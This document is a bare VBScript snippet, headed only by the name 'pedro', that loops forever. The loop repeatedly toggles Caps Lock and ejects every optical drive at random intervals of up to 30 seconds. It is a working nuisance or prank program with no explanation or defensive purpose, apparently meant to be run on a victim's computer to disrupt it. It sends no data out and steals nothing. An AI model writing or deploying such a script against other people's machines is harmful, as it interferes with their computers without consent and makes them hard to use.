pedro

Set wshShell =wscript.CreateObject("WScript.Shell")

do
wshshell.sendkeys "{CAPSLOCK}"
For Each d in CreateObject("Scripting.FileSystemObject").Drives
    WScript.sleep 60
    If d.DriveType = 4 Then CreateObject("Shell.Application").Namespace(17).ParseName(d.DriveLetter & ":").InvokeVerb("Eject")

    End If
Next
WScript.sleep int(30000*Rnd)
loop